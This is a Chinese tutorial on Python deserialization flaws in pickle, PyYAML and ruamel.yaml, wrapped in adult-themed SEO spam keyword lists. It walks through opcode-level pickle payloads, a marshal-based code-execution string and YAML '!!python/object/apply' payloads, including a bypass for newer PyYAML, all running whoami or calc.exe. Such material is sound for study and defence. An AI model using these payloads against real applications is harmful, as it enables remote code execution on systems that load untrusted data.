久久精品五月,日韩不卡视频在线观看,国产精品videossex久久发布 ,久久av综合

站長資訊網
最全最豐富的資訊網站

帶你搞懂Python反序列化

本篇文章給大家帶來了關于python的相關知識,其中主要介紹了關于反序列化的相關問題,反序列化:pickle.loads() 將字符串反序列化為對象、pickle.load() 從文件中讀取數據反序列化,希望對大家有幫助。

帶你搞懂Python反序列化

推薦學習:python教程

Python反序列化漏洞

Pickle

  • 序列化:pickle.dumps() 將對象序列化為字符串、pickle.dump() 將對象序列化后的字符串存儲為文件
  • 反序列化:pickle.loads() 將字符串反序列化為對象、pickle.load() 從文件中讀取數據反序列化

使用dumps()loads() 時可以使用 protocol 參數指定協議版本

協議有0,1,2,3,4,5號版本,不同的 python 版本默認的協議版本不同。這些版本中,0號是最可讀的,之后的版本為了優化加入了不可打印字符

協議是向下兼容的,0號版本也可以直接使用

可序列化的對象

  • None 、 TrueFalse
  • 整數、浮點數、復數
  • str、byte、bytearray
  • 只包含可封存對象的集合,包括 tuple、list、set 和 dict
  • 定義在模塊最外層的函數(使用 def 定義,lambda 函數則不可以)
  • 定義在模塊最外層的內置函數
  • 定義在模塊最外層的類
  • __dict__ 屬性值或 __getstate__() 函數的返回值可以被序列化的類(詳見官方文檔的Pickling Class Instances)

反序列化流程

pickle.load()和pickle.loads()方法的底層實現是基于 _Unpickler()方法來反序列化

在反序列化過程中,_Unpickler(以下稱為機器吧)維護了兩個東西:棧區和存儲區

為了研究它,需要利用一個調試器 pickletools

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-wUDq6S9E-1642832623478)(C:UsersAdministratorAppDataRoamingTyporatypora-user-imagesimage-20220121114238511.png)]

從圖中可以看出,序列化后的字符串實際上是一串 PVM(Pickle Virtual Machine) 指令碼,指令碼以棧的形式存儲、解析

PVM指令集

完整PVM指令集可以在 pickletools.py 中查看,不同協議版本使用的指令集略有不同

上圖中的指令碼可以翻譯成:

    0: x80 PROTO      3  # 協議版本     2: ]    EMPTY_LIST  # 將空列表推入棧     3: (    MARK  # 將標志推入棧     4: X        BINUNICODE 'a'  # unicode字符    10: X        BINUNICODE 'b'    16: X        BINUNICODE 'c'    22: e        APPENDS    (MARK at 3)  # 將3號標準之后的數據推入列表    23: .    STOP  # 彈出棧中數據,結束 highest protocol among opcodes = 2

指令集中有幾個重要的指令碼:

  • GLOBAL = b’c’ # 將兩個以換行為結尾的字符串推入棧,第一個是模塊名,第二個是類名,即可以調用全局變量 xxx.xxx 的值
  • REDUCE = b’R’ # 將可調用元組和參數元組生成的對象推進棧,即__reduce()返回的第一個值作為可執行函數,第二個值為參數,執行函數
  • BUILD = b’b’ # 通過__setstate__或更新__dict__完成構建對象,如果對象具有__setstate__方法,則調用anyobject .__setstate__(參數);如果無__setstate__方法,則通過anyobject.__dict__.update(argument)更新值(更新可能會產生變量覆蓋)
  • STOP = b’.’ # 結束

一個更復雜的例子:

import pickleimport pickletoolsclass a_class():     def __init__(self):         self.age = 24         self.status = 'student'         self.list = ['a', 'b', 'c']a_class_new = a_class()a_class_pickle = pickle.dumps(a_class_new,protocol=3)print(a_class_pickle)# 優化一個已經被打包的字符串a_list_pickle = pickletools.optimize(a_class_pickle)print(a_class_pickle)# 反匯編一個已經被打包的字符串pickletools.dis(a_class_pickle)
    0: x80 PROTO      3     2: c    GLOBAL     '__main__ a_class'    20: )    EMPTY_TUPLE  # 將空元組推入棧    21: x81 NEWOBJ  # 表示前面的棧的內容為一個類(__main__ a_class),之后為一個元組(20行推入的元組),調用cls.__new__(cls, *args)(即用元組中的參數創建一個實例,這里元組實際為空)    22: }    EMPTY_DICT  # 將空字典推入棧    23: (    MARK    24: X        BINUNICODE 'age'    32: K        BININT1    24    34: X        BINUNICODE 'status'    45: X        BINUNICODE 'student'    57: X        BINUNICODE 'list'    66: ]        EMPTY_LIST    67: (        MARK    68: X            BINUNICODE 'a'    74: X            BINUNICODE 'b'    80: X            BINUNICODE 'c'    86: e            APPENDS    (MARK at 67)    87: u        SETITEMS   (MARK at 23)  # 將將從23行開始傳入的值以鍵值對添加到現有字典中    88: b    BUILD  # 更新字典完成構建    89: .    STOP highest protocol among opcodes = 2

常見的函數執行

與函數執行相關的 PVM 指令集有三個: Ri 、 o ,所以我們可以從三個方向進行構造:

R

b'''cos system (S'whoami' tR.'''

i

b'''(S'whoami' ios system .'''

o

b'''(cos system S'whoami' o.'''

__reduce()__命令執行

__recude()__ 魔法函數會在反序列化過程結束時自動調用,并返回一個元組。其中,第一個元素是一個可調用對象,在創建該對象的最初版本時調用,第二個元素是可調用對象的參數,使得反序列化時可能造成RCE漏洞

觸發 __reduce()_ 的指令碼為“R,**只要在序列化中的字符串中存在R指令**,reduce方法就會被執行,無論正常程序中是否寫明了reduce`方法

pickle 在反序列化時會自動 import 未引入的模塊,所以 python 標準庫中的所有代碼執行、命令執行函數都可使用,但生成 payload 的 python 版本最好與目標一致

例:

class a_class():     def __reduce__(self):         return os.system, ('whoami',)# __reduce__()魔法方法的返回值:# os.system, ('whoami',)# 1.滿足返回一個元組,元組中至少有兩個參數# 2.第一個參數是被調用函數 : os.system()# 3.第二個參數是一個元組:('whoami',),元組中被調用的參數 'whoami' 為被調用函數的參數# 4. 因此序列化時被解析執行的代碼是 os.system('whoami')
b'x80x03cntnsystemnqx00Xx06x00x00x00whoamiqx01x85qx02Rqx03.' b'x80x03cntnsystemnXx06x00x00x00whoamix85R.'     0: x80 PROTO      3     2: c    GLOBAL     'nt system'    13: X    BINUNICODE 'whoami'    24: x85 TUPLE1    25: R    REDUCE    26: .    STOP highest protocol among opcodes = 2

將該字符串反序列化后將會執行命令 os.system('whoami')

全局變量覆蓋

__reduce()_利用的是 R 指令碼,造成REC,而利用 GLOBAL = b’c’ 指令碼則可以觸發全局變量覆蓋

# secret.pya = aaaaaa
# unser.pyimport secretimport pickleclass flag():     def __init__(self, a):         self.a = a  your_payload = b'?'other_flag = pickle.loads(your_payload)secret_flag = flag(secret)if other_flag.a == secret_flag.a:     print('flag:{}'.format(secret_flag.a))else:     print('No!')

在不知道 secret.a 的情況下要如何獲得 flag 呢?

先嘗試獲得 flag() 的序列化字符串:

class flag():     def __init__(self, a):         self.a = a new_flag = pickle.dumps(Flag("A"), protocol=3)flag = pickletools.optimize(new_flag)print(flag)print(pickletools.dis(new_flag))
b'x80x03c__main__nFlagn)x81}Xx01x00x00x00aXx01x00x00x00Asb.'     0: x80 PROTO      3     2: c    GLOBAL     '__main__ Flag'    17: q    BINPUT     0    19: )    EMPTY_TUPLE    20: x81 NEWOBJ    21: q    BINPUT     1    23: }    EMPTY_DICT    24: q    BINPUT     2    26: X    BINUNICODE 'a'    32: q    BINPUT     3    34: X    BINUNICODE 'A'    40: q    BINPUT     4    42: s    SETITEM    43: b    BUILD    44: .    STOP highest protocol among opcodes = 2

可以看到,在34行進行了傳參,將變量 A 傳入賦值給了a。若將 A 修改為全局變量 secret.a,即將 X BINUNICODE 'A' 改為 c GLOBAL 'secret a'(Xx01x00x00x00A 改為 csecretnan)。將該字符串反序列化后,self.a 的值等于 secret.a 的值,成功獲取 flag

除了改寫 PVM 指令的方式外,還可以使用 exec 函數造成變量覆蓋:

test1 = 'test1'test2 = 'test2'class A:    def __reduce(self):        retutn exec, "test1='asd'ntest2='qwe'"

利用BUILD指令RCE(不使用R指令)

通過BUILD指令與GLOBAL指令的結合,可以把現有類改寫為os.system或其他函數

假設某個類原先沒有__setstate__方法,我們可以利用{'__setstate__': os.system}來BUILE這個對象

BUILD指令執行時,因為沒有__setstate__方法,所以就執行update,這個對象的__setstate__方法就改為了我們指定的os.system

接下來利用'whoami'來再次BUILD這個對象,則會執行setstate('whoami'),而此時__setstate__已經被我們設置為os.system,因此實現了RCE

例:

代碼中存在一個任意類:

class payload:     def __init__(self):         pass

根據這個類構造 PVM 指令:

    0: x80 PROTO      3     2: c    GLOBAL     '__main__ payload'    17: q    BINPUT     0    19: )    EMPTY_TUPLE    20: x81 NEWOBJ    21: }    EMPTY_DICT  # 使用BUILD,先放入一個字典    22: (    MARK  # 放值前先放一個標志    23: V        UNICODE    '__setstate__'  # 放鍵值對    37: c        GLOBAL     'nt system'    48: u        SETITEMS   (MARK at 22)    49: b    BUILD  # 第一次BUILD    50: V    UNICODE    'whoami'  # 加參數    58: b    BUILD  # 第二次BUILD    59: .    STOP

將上述 PVM 指令改寫成 bytes 形式:b'x80x03c__main__npayloadn)x81}(V__setstate__ncntnsystemnubVwhoaminb.',使用 piclke.loads() 反序列化后成功執行命令

利用Marshal模塊造成任意函數執行

pickle 不能將代碼對象序列化,但 python 提供了一個可以序列化代碼對象的模塊 Marshal

但是序列化的代碼對象不再能使用 __reduce()_ 調用,因為__reduce__是利用調用某個可調用對象并傳遞參數來執行的,而我們這個函數本身就是一個可調用對象 ,我們需要執行它,而不是將他作為某個函數的參數。隱藏需要利用 typres 模塊來動態的創建匿名函數

import marshalimport typesdef code():     import os    print('hello')     os.system('whoami')code_pickle = base64.b64encode(marshal.dumps(code.__code__))  # python2為 code.func_codetypes.FunctionType(marshal.loads(base64.b64decode(code_pickle)), globals(), '')()  # 利用types動態創建匿名函數并執行

pickle 上使用:

import pickle# 將types.FunctionType(marshal.loads(base64.b64decode(code_pickle)), globals(), '')()改寫為 PVM 的形式s = b"""ctypes FunctionType (cmarshal loads (cbase64 b64decode (S'4wAAAAAAAAAAAAAAAAEAAAADAAAAQwAAAHMeAAAAZAFkAGwAfQB0AWQCgwEBAHwAoAJkA6EBAQBkAFMAKQRO6QAAAADaBWhlbGxv2gZ3aG9hbWkpA9oCb3PaBXByaW502gZzeXN0ZW0pAXIEAAAAqQByBwAAAPogRDovUHl0aG9uL1Byb2plY3QvdW5zZXJpYWxpemUucHnaBGNvZGUlAAAAcwYAAAAAAQgBCAE=' tRtRc__builtin__ globals (tRS'' tR(tR."""pickle.loads(s)  # 字符串轉換為 bytes

漏洞出現位置

  • 解析認證 token、session 時
  • 將對象 pickle 后存儲在磁盤文件
  • 將對象 pickle 后在網絡中傳輸
  • 參數傳遞給程序

PyYAML

yaml 是一種標記類語言,類似與 xmljson,各個支持yaml格式的語言都會有自己的實現來進行 yaml 格式的解析(讀取和保存),PyYAML 就是 yaml 的 python 實現

在使用 PyYAML 庫時,若使用了 yaml.load() 而不是 yaml.safe_load() 函數解析 yaml文件,則會導致反序列化漏洞的產生

原理

PyYAML 有針對 python 語言特有的標簽解析的處理函數對應列表,其中有三個和對象相關:

!!python/object:          =>  Constructor.construct_python_object!!python/object/apply:    =>  Constructor.construct_python_object_apply!!python/object/new:      =>  Constructor.construct_python_object_new

例如:

# Test.pyimport yamlimport osclass test:     def __init__(self):         os.system('whoami')payload = yaml.dump(test())fp = open('sample.yml', 'w')fp.write(payload)fp.close()

該代碼執行后,會生成 sample.yml ,并寫入 !!python/object:__main__.test {}

將文件內容改為 !!python/object:Test.test {} 再使用 yaml.load() 解析該 yaml 文件:

import yaml yaml.load(file('sample.yml', 'w'))

帶你搞懂Python反序列化

命令成功執行。但是命令的執行依賴于 Test.py 的存在,因為 yaml.load() 時會根據yml文件中的指引去讀取 Test.py 中的 test 這個對象(類)。如果刪除 Test.py ,也將運行失敗

Payload

PyYAML < 5.1

想要消除依賴執行命令,就需要將其中的類或者函數換成 python 標準庫中的類或函數,并使用另外兩種 python 標簽:

# 該標簽可以在 PyYAML 解析再入 YAML 數據時,動態的創建 Python 對象!!python/object/apply:    =>  Constructor.construct_python_object_apply# 該標簽會調用 apply!!python/object/new:      =>  Constructor.construct_python_object_new

利用這兩個標簽,就可以構造任意 payload:

!!python/object/apply:subprocess.check_output [[calc.exe]]!!python/object/apply:subprocess.check_output ["calc.exe"]!!python/object/apply:subprocess.check_output [["calc.exe"]]!!python/object/apply:os.system ["calc.exe"]!!python/object/new:subprocess.check_output [["calc.exe"]]!!python/object/new:os.system ["calc.exe"]

PyYAML >= 5.1

在版本 PyYAML >= 5.1 后,限制了反序列化內置類方法以及導入并使用不存在的反序列化代碼,并且在使用 load() 方法時,需要加上 loader 參數,直接使用時會爆出安全警告

loader的四種類型:

  • BaseLoader:僅加載最基本的YAML
  • SafeLoader:安全地加載YAML語言的子集,建議用于加載不受信任的輸入(safe_load)
  • FullLoader:加載完整的YAML語言,避免任意代碼執行,這是當前(PyYAML 5.1)默認加載器調用yaml.load(input) (出警告后)(full_load)
  • UnsafeLoader(也稱為Loader向后兼容性):原始的Loader代碼,可以通過不受信任的數據輸入輕松利用(unsafe_load)

在高版本中之前的 payload 已經失效,但可以使用 subporcess.getoutput() 方法繞過檢測:

!!python/object/apply:subprocess.getoutput - whoami

帶你搞懂Python反序列化

在最新版本上,命令執行成功

ruamel.yaml

ruamel.yaml的用法和PyYAML基本一樣,并且默認支持更新的YAML1.2版本

在ruamel.yaml中反序列化帶參數的序列化類方法,有以下方法:

  • load(data)
  • load(data, Loader=Loader)
  • load(data, Loader=UnsafeLoader)
  • load(data, Loader=FullLoader)
  • load_all(data)
  • load_all(data, Loader=Loader)
  • load_all(data, Loader=UnSafeLoader)
  • load_all(data, Loader=FullLoader)

我們可以使用上述任何方法,甚至我們也可以通過提供數據來反序列化來直接調用load(),它將完美地反序列化它,并且我們的類方法將被執行

推薦學習:python學習教程

贊(0)
分享到: 更多 (0)
?
網站地圖   滬ICP備18035694號-2    滬公網安備31011702889846號
久久精品五月,日韩不卡视频在线观看,国产精品videossex久久发布 ,久久av综合
蜜桃一区二区三区在线| 日韩亚洲精品在线| 日韩精品欧美大片| 久久aⅴ国产紧身牛仔裤| 在线亚洲成人| 亚洲不卡av不卡一区二区| 九九精品调教| se01亚洲视频| 婷婷激情久久| 水野朝阳av一区二区三区| 久久高清一区| 日韩欧美中文字幕一区二区三区| 日韩高清欧美激情| 蜜桃传媒麻豆第一区在线观看| 免费观看在线综合| 日韩中出av| 国产精品magnet| 高清久久一区| 亚洲高清av| 欧美影院三区| 免播放器亚洲一区| 国产精品主播| 水蜜桃久久夜色精品一区| 日本精品不卡| 亚洲激情国产| 日韩精品一区二区三区中文在线| 国产毛片一区二区三区| 久久亚洲黄色| 国产高清不卡| 精品日韩毛片| 日韩欧美美女在线观看| 国产一区丝袜| 不卡中文字幕| 日韩高清在线一区| 精品久久电影| 99视频+国产日韩欧美| 日本精品一区二区三区在线观看视频| 国产精品欧美在线观看| 正在播放日韩精品| 国产视频一区三区| 欧美日韩一区二区国产| 国产成人精品亚洲线观看 | 影音先锋久久精品| 捆绑调教日本一区二区三区| 亚洲乱码久久| 国产亚洲精品v| 日韩欧美自拍| 日本综合精品一区| 樱桃视频成人在线观看| 精品丝袜久久| 亚洲成人精选| 国产欧美精品| 国产99久久久国产精品成人免费| 最新亚洲国产| 国产精品xx| 日本久久精品| 亚洲精品美女91| 欧美国产视频| 最新亚洲一区| 久久免费精品| 最新日韩欧美| 捆绑调教美女网站视频一区| 激情婷婷久久| 麻豆国产欧美日韩综合精品二区| 久久一级电影| 亚洲一区激情| 精品美女视频 | 蜜桃视频一区二区| 国产精品高潮呻吟久久久久| 色爱av综合网| 亚洲欧美日本日韩| 久久av超碰| 香蕉精品999视频一区二区| 精品国产不卡一区二区| 中文字幕乱码亚洲无线精品一区| 高清一区二区| 日韩国产精品久久久久久亚洲| 久久青草久久| 麻豆精品99| 亚洲精品护士| 国产字幕视频一区二区| 精品国内亚洲2022精品成人| 亚洲精一区二区三区| 日本在线精品| 麻豆国产欧美一区二区三区| 最新日韩av| 91视频一区| 国产精品视频一区二区三区 | 国产精品普通话对白| 精品国产日韩欧美精品国产欧美日韩一区二区三区 | 精品亚洲a∨一区二区三区18| 亚洲涩涩av| 天堂а√在线最新版中文在线| 国产精品三级| 日韩有码av| 国产美女一区| 日本а中文在线天堂| 久久国产欧美日韩精品| 蜜臀av亚洲一区中文字幕| 群体交乱之放荡娇妻一区二区| 麻豆精品在线播放| 婷婷综合一区| 久久福利一区| 尹人成人综合网| 91精品国产成人观看| 久久久久久一区二区| 欧美极品中文字幕| 日韩中文字幕视频网| 欧美日韩国产一区精品一区| 日韩欧美三级| 国产精品久久久一区二区| 好看的av在线不卡观看| 日韩一区欧美| 国产一区二区三区网| 国产精品日本一区二区三区在线| 婷婷综合福利| 日韩精品亚洲专区在线观看| 亚洲一区二区av| 日韩精品一二三| 噜噜噜躁狠狠躁狠狠精品视频| 亚洲二区视频| 99久久九九| 欧美黄色网页| 亚洲精品在线影院| 亚洲成人不卡| 国产成人免费精品| 精品日产乱码久久久久久仙踪林| 久久精品一区二区三区中文字幕| 国产精品白浆| 老司机精品视频网| 精品国产乱码久久久久久1区2匹| 久久免费精品| 国产精品伦理久久久久久| 手机在线电影一区| 青青青免费在线视频| 三级精品视频| 亚洲国产不卡| 女人av一区| 日韩专区精品| 亚洲电影有码| 在线国产一区二区| 视频在线观看国产精品| 亚洲精品日本| 国产精品久久免费视频| 精品国产一区二区三区性色av| 日本一区二区免费高清| 热三久草你在线| 91高清一区| 日韩一区精品| 欧美aaaaaa午夜精品| 高清av一区| 亚洲91视频| 欧美二区视频| 亚洲香蕉久久| 国产欧美日韩一区二区三区四区 | 日韩电影免费网址| 欧美色图一区| 视频在线观看91| 欧美日本三区| 日韩久久精品网| 国产亚洲一级| 久久精品97| 麻豆mv在线观看| 尤物在线精品| 亚洲精品系列| 欧美精品91| 欧美中文一区二区| 亚洲我射av| 久久中文字幕一区二区| 久久国产中文字幕| 久久成人国产| 国产精品草草| 99久久99久久精品国产片果冰| 老鸭窝亚洲一区二区三区| 国产日本精品| 日韩国产一区二区三区| 视频一区视频二区中文| 国产精品日本一区二区不卡视频| 日韩精品2区| 9久re热视频在线精品| 91欧美极品| 午夜影院一区| 久久福利精品| 欧美精品第一区| 午夜久久福利| 欧美国产日本| 欧美日韩国产免费观看| 国产日韩欧美三级| 亚洲黑丝一区二区| 国产亚洲一卡2卡3卡4卡新区| 精品丝袜在线| 91精品福利观看| 麻豆精品蜜桃| 亚洲精品护士| 日韩成人精品一区| 蜜桃视频一区二区三区| 国产成年精品| 日韩黄色av| 亚洲91视频| 国产精品高潮呻吟久久久久|